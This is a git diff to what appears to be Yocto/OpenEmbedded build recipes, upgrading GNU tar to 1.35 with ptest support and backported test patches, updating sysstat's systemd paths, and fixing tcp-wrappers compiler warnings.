@@ -23,7 +27,11 @@ PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
EXTRA_OECONF += "--disable-stripping"
-do_configure_prepend() {
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "sysstat.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+do_configure:prepend() {
export sa_lib_dir=${libexecdir}/sa
}
@@ -40,21 +48,21 @@ do_install() {
install -m 0644 ${WORKDIR}/99_sysstat ${D}/etc/default/volatiles
fi
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${sysconfdir}/tmpfiles.d
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
echo "d ${localstatedir}/log/sa - - - -" \
- > ${D}${sysconfdir}/tmpfiles.d/sysstat.conf
+ > ${D}${nonarch_libdir}/tmpfiles.d/sysstat.conf
# Unless both cron and systemd are enabled, install our own
# systemd unit file. Otherwise the package will install one.
if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system
- sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_unitdir}/system/sysstat.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
+ sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
fi
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
if [ ! -n "$D" ]; then
if [ -e /etc/init.d/populate-volatile.sh ]; then
/etc/init.d/populate-volatile.sh update
@@ -62,6 +70,11 @@ pkg_postinst_${PN} () {
fi
}
-FILES_${PN} += "${systemd_system_unitdir}"
+FILES:${PN} += " \
+ ${systemd_system_unitdir} \
+ ${nonarch_base_libdir}/systemd \
+ ${nonarch_libdir}/tmpfiles.d \
+"
TARGET_CC_ARCH += "${LDFLAGS}"
+
diff --git a/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
new file mode 100644
index 0000000000..27d4d9aebf
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch
@@ -0,0 +1,228 @@
+From 39849e9d91f477d3fb839f93cd0815d0cb3273e9 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Tue, 18 Jul 2023 09:15:03 -0700
+Subject: tests: fix TESTSUITE_AT
+
+Problem reported by Lukas Javorsky <ljavorsk@redhat.com> in:
+https://lists.gnu.org/r/bug-tar/2023-07/msg00002.html
+* tests/Makefile.am (TESTSUITE_AT): Add exclude17.at, exclude18.at.
+Remove compress.m4; all uses changed. Add a comment saying how
+to rederive this. Sort.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=39849e9d91f477d3fb839f93cd0815d0cb3273e9]
+---
+ tests/Makefile.am | 93 ++++++++++++++++++++++++++++---------------------------
+ 1 file changed, 48 insertions(+), 45 deletions(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index 4a8f501..1884b72 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -45,21 +45,24 @@ $(srcdir)/package.m4: $(top_srcdir)/configure.ac
+ ## Test suite. ##
+ ## ------------ ##
+
++# You can generate the body of this macro with the following shell command:
++# LC_ALL=C ls *.at */*.at | sed -e 's/^/ /' -e '$!s/$/\\/'
+ TESTSUITE_AT = \
+- testsuite.at\
+- compress.m4\
+ T-cd.at\
+ T-dir00.at\
+ T-dir01.at\
+ T-empty.at\
++ T-mult.at\
++ T-nest.at\
++ T-nonl.at\
+ T-null.at\
+ T-null2.at\
+ T-rec.at\
+ T-recurse.at\
+ T-zfile.at\
+- T-nonl.at\
+- T-mult.at\
+- T-nest.at\
++ acls01.at\
++ acls02.at\
++ acls03.at\
+ add-file.at\
+ append.at\
+ append01.at\
+@@ -68,14 +71,15 @@ TESTSUITE_AT = \
+ append04.at\
+ append05.at\
+ backup01.at\
+- chtype.at\
+- comprec.at\
+- comperr.at\
++ capabs_raw01.at\
+ checkpoint/defaults.at\
+- checkpoint/interval.at\
+- checkpoint/dot.at\
+ checkpoint/dot-compat.at\
+ checkpoint/dot-int.at\
++ checkpoint/dot.at\
++ checkpoint/interval.at\
++ chtype.at\
++ comperr.at\
++ comprec.at\
+ delete01.at\
+ delete02.at\
+ delete03.at\
+@@ -83,6 +87,8 @@ TESTSUITE_AT = \
+ delete05.at\
+ delete06.at\
+ difflink.at\
++ dirrem01.at\
++ dirrem02.at\
+ exclude.at\
+ exclude01.at\
+ exclude02.at\
+@@ -100,6 +106,8 @@ TESTSUITE_AT = \
+ exclude14.at\
+ exclude15.at\
+ exclude16.at\
++ exclude17.at\
++ exclude18.at\
+ extrac01.at\
+ extrac02.at\
+ extrac03.at\
+@@ -127,11 +135,9 @@ TESTSUITE_AT = \
+ extrac25.at\
+ filerem01.at\
+ filerem02.at\
+- dirrem01.at\
+- dirrem02.at\
+- gzip.at\
+ grow.at\
+- incremental.at\
++ gzip.at\
++ ignfail.at\
+ incr01.at\
+ incr02.at\
+ incr03.at\
+@@ -143,8 +149,8 @@ TESTSUITE_AT = \
+ incr09.at\
+ incr10.at\
+ incr11.at\
++ incremental.at\
+ indexfile.at\
+- ignfail.at\
+ label01.at\
+ label02.at\
+ label03.at\
+@@ -188,22 +194,16 @@ TESTSUITE_AT = \
+ opcomp04.at\
+ opcomp05.at\
+ opcomp06.at\
+- positional01.at\
+- positional02.at\
+- positional03.at\
+ options.at\
+ options02.at\
+ options03.at\
+ owner.at\
+ pipe.at\
+- recurse.at\
++ positional01.at\
++ positional02.at\
++ positional03.at\
+ recurs02.at\
+- rename01.at\
+- rename02.at\
+- rename03.at\
+- rename04.at\
+- rename05.at\
+- rename06.at\
++ recurse.at\
+ remfiles01.at\
+ remfiles02.at\
+ remfiles03.at\
+@@ -226,11 +226,19 @@ TESTSUITE_AT = \
+ remfiles09b.at\
+ remfiles09c.at\
+ remfiles10.at\
++ rename01.at\
++ rename02.at\
++ rename03.at\
++ rename04.at\
++ rename05.at\
++ rename06.at\
+ same-order01.at\
+ same-order02.at\
++ selacl01.at\
++ selnx01.at\
+ shortfile.at\
+- shortupd.at\
+ shortrec.at\
++ shortupd.at\
+ sigpipe.at\
+ sparse01.at\
+ sparse02.at\
+@@ -247,6 +255,13 @@ TESTSUITE_AT = \
+ sptrcreat.at\
+ sptrdiff00.at\
+ sptrdiff01.at\
++ star/gtarfail.at\
++ star/gtarfail2.at\
++ star/multi-fail.at\
++ star/pax-big-10g.at\
++ star/ustar-big-2g.at\
++ star/ustar-big-8g.at\
++ testsuite.at\
+ time01.at\
+ time02.at\
+ truncate.at\
+@@ -255,21 +270,11 @@ TESTSUITE_AT = \
+ update02.at\
+ update03.at\
+ update04.at\
+- volsize.at\
+- volume.at\
+ verbose.at\
+ verify.at\
+ version.at\
+- xform-h.at\
+- xform01.at\
+- xform02.at\
+- xform03.at\
+- star/gtarfail.at\
+- star/gtarfail2.at\
+- star/multi-fail.at\
+- star/ustar-big-2g.at\
+- star/ustar-big-8g.at\
+- star/pax-big-10g.at\
++ volsize.at\
++ volume.at\
+ xattr01.at\
+ xattr02.at\
+ xattr03.at\
+@@ -278,12 +283,10 @@ TESTSUITE_AT = \
+ xattr06.at\
+ xattr07.at\
+ xattr08.at\
+- acls01.at\
+- acls02.at\
+- acls03.at\
+- selnx01.at\
+- selacl01.at\
+- capabs_raw01.at
++ xform-h.at\
++ xform01.at\
++ xform02.at\
++ xform03.at
+
+ distclean-local:
+ -rm -rf download
+@@ -291,7 +294,7 @@ distclean-local:
+ TESTSUITE = $(srcdir)/testsuite
+
+ AUTOTEST = $(AUTOM4TE) --language=autotest
+-$(TESTSUITE): package.m4 $(TESTSUITE_AT)
++$(TESTSUITE): compress.m4 package.m4 $(TESTSUITE_AT)
+ $(AUTOTEST) -I $(srcdir) testsuite.at -o $@.tmp
+ mv $@.tmp $@
+
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
new file mode 100644
index 0000000000..6cd8c5510f
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch
@@ -0,0 +1,60 @@
+From 0f0722df45ec520d0dac7c9ad7e69165e9140931 Mon Sep 17 00:00:00 2001
+From: Paul Eggert <eggert@cs.ucla.edu>
+Date: Fri, 7 Oct 2022 15:22:07 -0700
+Subject: tests: check for recently-fixed bug
+
+* tests/exclude17.at: New file.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=0f0722df45ec520d0dac7c9ad7e69165e9140931]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude17.at | 35 +++++++++++++++++++++++++++++++++++
+ 1 files changed, 35 insertions(+)
+ create mode 100644 tests/exclude17.at
+
+diff --git a/tests/exclude17.at b/tests/exclude17.at
+new file mode 100644
+index 0000000..4162b2b
+--- /dev/null
++++ b/tests/exclude17.at
+@@ -0,0 +1,35 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++#
++# Test suite for GNU tar.
++# Copyright 2013-2022 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++AT_SETUP([--exclude-vcs-ignores memory allocation])
++AT_KEYWORDS([exclude exclude17])
++
++AT_TAR_CHECK([
++mkdir dir
++cd dir
++echo '*.o' >.cvsignore
++tar -cf - --exclude-vcs-ignores . | tar -tf -
++],
++[0],
++[./
++./.cvsignore
++])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
new file mode 100644
index 0000000000..577a9ba997
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch
@@ -0,0 +1,112 @@
+From 4f814e0e4c673f86dc65a557f7e55f6b5efd1529 Mon Sep 17 00:00:00 2001
+From: Anton Makrushin <makrusan@gmail.com>
+Date: Mon, 20 Mar 2023 20:05:42 +0530
+Subject: Exclude VCS directory with writing from an archive
+
+See https://savannah.gnu.org/bugs/?62859
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/tar.git/commit/?id=4f814e0e4c673f86dc65a557f7e55f6b5efd1529]
+
+Signed-off-by: Qiu Tingting <qiutt@fujitsu.com>
+
+---
+ tests/exclude18.at | 87 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 1 files changed, 87 insertions(+)
+ create mode 100644 tests/exclude18.at
+
+diff --git a/tests/exclude18.at b/tests/exclude18.at
+new file mode 100644
+index 0000000..64aaa52
+--- /dev/null
++++ b/tests/exclude18.at
+@@ -0,0 +1,87 @@
++# Process this file with autom4te to create testsuite. -*- Autotest -*-
++
++# Test suite for GNU tar.
++# Copyright 2004-2023 Free Software Foundation, Inc.
++
++# This file is part of GNU tar.
++
++# GNU tar is free software; you can redistribute it and/or modify
++# it under the terms of the GNU General Public License as published by
++# the Free Software Foundation; either version 3 of the License, or
++# (at your option) any later version.
++
++# GNU tar is distributed in the hope that it will be useful,
++# but WITHOUT ANY WARRANTY; without even the implied warranty of
++# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++# GNU General Public License for more details.
++
++# You should have received a copy of the GNU General Public License
++# along with this program. If not, see <http://www.gnu.org/licenses/>.
++
++# Test --exclude-vcs option with subcommands: EXTRACT, LIST, DIFF.
++# Check VCS directory with files, and empty.
++#
++# Ref: https://savannah.gnu.org/bugs/?62859
++# Wed 03 Aug 2022 04:06:28 PM UTC, original submission: Quote
++# Mohamed Akram <mohdakram>
++# > The --exclude-vcs flag seems to exclude .gitignore but not .git when
++# extracting.
++
++AT_SETUP([--exclude-vcs extract list compare])
++AT_KEYWORDS([exclude-vcs extract list compare exclude18])
++
++AT_TAR_CHECK([
++AT_SORT_PREREQ
++mkdir gitrepo
++cd gitrepo
++
++# Make an empty VCS directory:
++mkdir .svn
++
++# Make a VCS directory with a file:
++mkdir .git
++touch .git/_A
++
++# Make a VCS file:
++touch .gitignore
++
++# Make non-VCS files:
++touch .git_B
++touch _C
++
++# Create an archive, include VCS:
++cd ..
++tar -cf gitrepo.tar gitrepo
++rm -r gitrepo
++
++echo Extract:
++tar -xvf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo List:
++tar -tf gitrepo.tar --exclude-vcs | sort
++
++echo
++echo Diff:
++tar -dvf gitrepo.tar --exclude-vcs gitrepo | sort
++
++],
++[0],
++[Extract:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++List:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++
++Diff:
++gitrepo/
++gitrepo/.git_B
++gitrepo/_C
++],
++[])
++
++AT_CLEANUP
+--
+cgit v1.1
+
diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch
deleted file mode 100644
index 2d98ed1310..0000000000
--- a/meta/recipes-extended/tar/tar/musl_dirent.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-musl has valid d_ino implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: tar-1.28/m4/d-ino.m4
-===================================================================
---- tar-1.28.orig/m4/d-ino.m4
-+++ tar-1.28/m4/d-ino.m4
-@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_
- [gl_cv_struct_dirent_d_ino=no],
- [case "$host_os" in
- # Guess yes on glibc systems with Linux kernel.
-- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;;
-+ linux*-gnu*|linux*-musl*)
-+ gl_cv_struct_dirent_d_ino="guessing yes" ;;
- # Guess no on native Windows.
- mingw*) gl_cv_struct_dirent_d_ino="guessing no" ;;
- # If we don't know, assume the worst.
diff --git a/meta/recipes-extended/tar/tar/run-ptest b/meta/recipes-extended/tar/tar/run-ptest
new file mode 100644
index 0000000000..185b33d61a
--- /dev/null
+++ b/meta/recipes-extended/tar/tar/run-ptest
@@ -0,0 +1,14 @@
+#!/bin/sh
+
+# Define tar test work dir
+WORKDIR=@PTEST_PATH@/tests/
+
+# Run test
+cd ${WORKDIR}
+./atconfig ./atlocal ./testsuite
+
+# clear log
+rm -rf testsuite.dir
+rm -rf testsuite.log
+
+./testsuite --am-fmt
diff --git a/meta/recipes-extended/tar/tar_1.32.bb b/meta/recipes-extended/tar/tar_1.32.bb
deleted file mode 100644
index ebe6cb0dbd..0000000000
--- a/meta/recipes-extended/tar/tar_1.32.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "GNU file archiving program"
-DESCRIPTION = "GNU tar saves many files together into a single tape \
-or disk archive, and can restore individual files from the archive."
-HOMEPAGE = "http://www.gnu.org/software/tar/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2 \
- file://musl_dirent.patch \
-"
-
-SRC_URI[md5sum] = "17917356fff5cb4bd3cd5a6c3e727b05"
-SRC_URI[sha256sum] = "e4bb9e08e12e7fa9f11fef544efc85e59ba34538593d9ad38148c7ca2bfbb566"
-
-inherit autotools gettext texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
-
-PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since tar has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-do_install () {
- autotools_do_install
- ln -s tar ${D}${bindir}/gtar
-}
-
-do_install_append_class-target() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/tar ${D}${base_bindir}/tar
- mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "tar"
-ALTERNATIVE_${PN}-rmt = "rmt"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
-
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-PROVIDES_append_class-native = " tar-replacement-native"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar_1.35.bb b/meta/recipes-extended/tar/tar_1.35.bb
new file mode 100644
index 0000000000..c7bd1d195e
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.35.bb
@@ -0,0 +1,102 @@
+SUMMARY = "GNU file archiving program"
+DESCRIPTION = "GNU tar saves many files together into a single tape \
+or disk archive, and can restore individual files from the archive."
+HOMEPAGE = "http://www.gnu.org/software/tar/"
+SECTION = "base"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "7edb8886a3dc69420a1446e1e2d061922b642f1cf632d2cd0f9ee7e690775985"
+
+inherit autotools gettext texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
+
+PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since tar has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+do_install () {
+ autotools_do_install
+ ln -s tar ${D}${bindir}/gtar
+}
+
+do_install:append:class-target() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/tar ${D}${base_bindir}/tar
+ mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
+ rmdir ${D}${bindir}/
+ fi
+}
+
+# add for ptest support
+SRC_URI += " \
+ file://run-ptest \
+ file://0001-tests-fix-TESTSUITE_AT.patch \
+ file://0002-tests-check-for-recently-fixed-bug.patch \
+ file://0003-Exclude-VCS-directory-with-writing-from-an-archive.patch \
+"
+
+inherit ptest
+
+do_compile_ptest() {
+ oe_runmake -C ${B}/gnu/ check
+ oe_runmake -C ${B}/lib/ check
+ oe_runmake -C ${B}/rmt/ check
+ oe_runmake -C ${B}/src/ check
+ rm -rf ${S}/tests/testsuite
+ oe_runmake -C ${B}/tests/ testsuite
+ oe_runmake -C ${B}/tests/ genfile checkseekhole ckmtime
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
+ sed -i "/abs_/d" ${D}${PTEST_PATH}/tests/atconfig
+ echo "abs_builddir=${PTEST_PATH}/tests/" >> ${D}${PTEST_PATH}/tests/atconfig
+ install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
+ sed -i "/PATH=/d" ${D}${PTEST_PATH}/tests/atlocal
+ install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/checkseekhole ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${B}/tests/ckmtime ${D}${PTEST_PATH}/tests/
+ install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
+ sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/run-ptest
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "tar"
+ALTERNATIVE:${PN}-rmt = "rmt"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
+
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+PROVIDES:append:class-native = " tar-replacement-native"
+NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Avoid false positives from CVEs in node-tar package
+# For example CVE-2021-{32803,32804,37701,37712,37713}
+CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
new file mode 100644
index 0000000000..474703885d
--- /dev/null
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch
@@ -0,0 +1,114 @@
+From 9c97b5db237a793e0d1b6b0241570bdc6e35ee24 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 7 Aug 2022 17:42:24 -0700
+Subject: [PATCH] Fix implicit-function-declaration warnings
+
+These are seen with clang-15+
+
+Upstream-Status: Inappropriate [upstream is dead]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ hosts_access.c | 3 +++
+ safe_finger.c | 1 +
+ shell_cmd.c | 3 +++
+ tcpd.c | 2 +-
+ tcpdchk.c | 1 +
+ workarounds.c | 1 +
+ 6 files changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/hosts_access.c b/hosts_access.c
+index 0133e5e..58697ea 100644
+--- a/hosts_access.c
++++ b/hosts_access.c
+@@ -33,6 +33,12 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+ #include <netinet/in.h>
+ #include <arpa/inet.h>
++#ifdef USE_GETDOMAIN
++/* defined in workarounds.c */
++extern int yp_get_default_domain(char **ptr);
++#else
++# include <rpcsvc/ypclnt.h>
++#endif /* USE_GETDOMAIN */
+ #include <stdio.h>
+ #include <stdlib.h>
+ #include <syslog.h>
+@@ -45,6 +46,8 @@ static char sccsid[] = "@(#) hosts_access.c 1.21 97/02/12 02:13:22";
+ #endif
+
+ extern int errno;
++extern int match_pattern_ylo(const char *s, const char *pattern);
++extern unsigned long cidr_mask_addr(char* str);
+
+ #ifndef INADDR_NONE
+ #define INADDR_NONE (-1) /* XXX should be 0xffffffff */
+diff --git a/safe_finger.c b/safe_finger.c
+index 23afab1..a6458fb 100644
+--- a/safe_finger.c
++++ b/safe_finger.c
+@@ -34,6 +34,7 @@ static char sccsid[] = "@(#) safe_finger.c 1.4 94/12/28 17:42:41";
+ #include <syslog.h>
+
+ extern void exit();
++extern int pipe_stdin(char **argv);
+
+ /* Local stuff */
+
+diff --git a/shell_cmd.c b/shell_cmd.c
+index 62d31bc..a566092 100644
+--- a/shell_cmd.c
++++ b/shell_cmd.c
+@@ -16,10 +16,13 @@ static char sccsid[] = "@(#) shell_cmd.c 1.5 94/12/28 17:42:44";
+
+ #include <sys/types.h>
+ #include <sys/param.h>
++#include <sys/wait.h>
++#include <fcntl.h>
+ #include <signal.h>
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern void exit();
+
+diff --git a/tcpd.c b/tcpd.c
+index dc9ff17..4353caa 100644
+--- a/tcpd.c
++++ b/tcpd.c
+@@ -46,7 +46,7 @@ void fix_options(struct request_info *);
+ int allow_severity = SEVERITY; /* run-time adjustable */
+ int deny_severity = LOG_WARNING; /* ditto */
+
+-main(argc, argv)
++void main(argc, argv)
+ int argc;
+ char **argv;
+ {
+diff --git a/tcpdchk.c b/tcpdchk.c
+index 5dca8bd..67c12ce 100644
+--- a/tcpdchk.c
++++ b/tcpdchk.c
+@@ -38,6 +38,7 @@ static char sccsid[] = "@(#) tcpdchk.c 1.8 97/02/12 02:13:25";
+
+ extern int errno;
+ extern void exit();
++extern unsigned long cidr_mask_addr(char* str);
+ extern int optind;
+ extern char *optarg;
+
+diff --git a/workarounds.c b/workarounds.c
+index b22b378..6335049 100644
+--- a/workarounds.c
++++ b/workarounds.c
+@@ -21,6 +21,7 @@ char sccsid[] = "@(#) workarounds.c 1.6 96/03/19 16:22:25";
+ #include <stdio.h>
+ #include <syslog.h>
+ #include <string.h>
++#include <unistd.h>
+
+ extern int errno;
+
+--
+2.37.1
+
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
Added support for socklen_t type to len argument passed to socket related
calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
- Upstream-Status: Pending
-
- Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
+Upstream-Status: Pending
+Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
diff --git a/fix_options.c b/fix_options.c
index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index e903b9db14..bcd1d6f792 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -6,17 +6,14 @@ SECTION = "console/network"
LICENSE = "BSD-1-Clause"
LIC_FILES_CHKSUM = "file://DISCLAIMER;md5=071bd69cb78b18888ea5e3da5c3127fa"
-PR ="r10"
-
-DEPENDS += "libnsl2"
PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
-FILES_libwrap = "${base_libdir}/lib*${SOLIBS}"
-FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5"
-FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libwrap-staticdev = "${libdir}/lib*.a"
-FILES_${PN} = "${sbindir}"
-FILES_${PN}-doc = "${mandir}/man8"
+FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
+FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5"
+FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
+FILES:libwrap-staticdev = "${libdir}/lib*.a"
+FILES:${PN} = "${sbindir}"
+FILES:${PN}-doc = "${mandir}/man8"
SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://00_man_quoting.diff \
@@ -50,6 +47,7 @@ SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \
file://fix_warnings.patch \
file://fix_warnings2.patch \
file://0001-Remove-fgets-extern-declaration.patch \
+ file://0001-Fix-implicit-function-declaration-warnings.patch \
"
SRC_URI[md5sum] = "e6fa25f71226d090f34de3f6b122fb5a"
@@ -78,9 +76,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \
'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'"
EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN"
-EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN"
+EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN"
-EXTRA_OEMAKE_append_libc-musl = " 'LIBS='"
+EXTRA_OEMAKE:append:libc-musl = " 'LIBS='"
do_compile () {
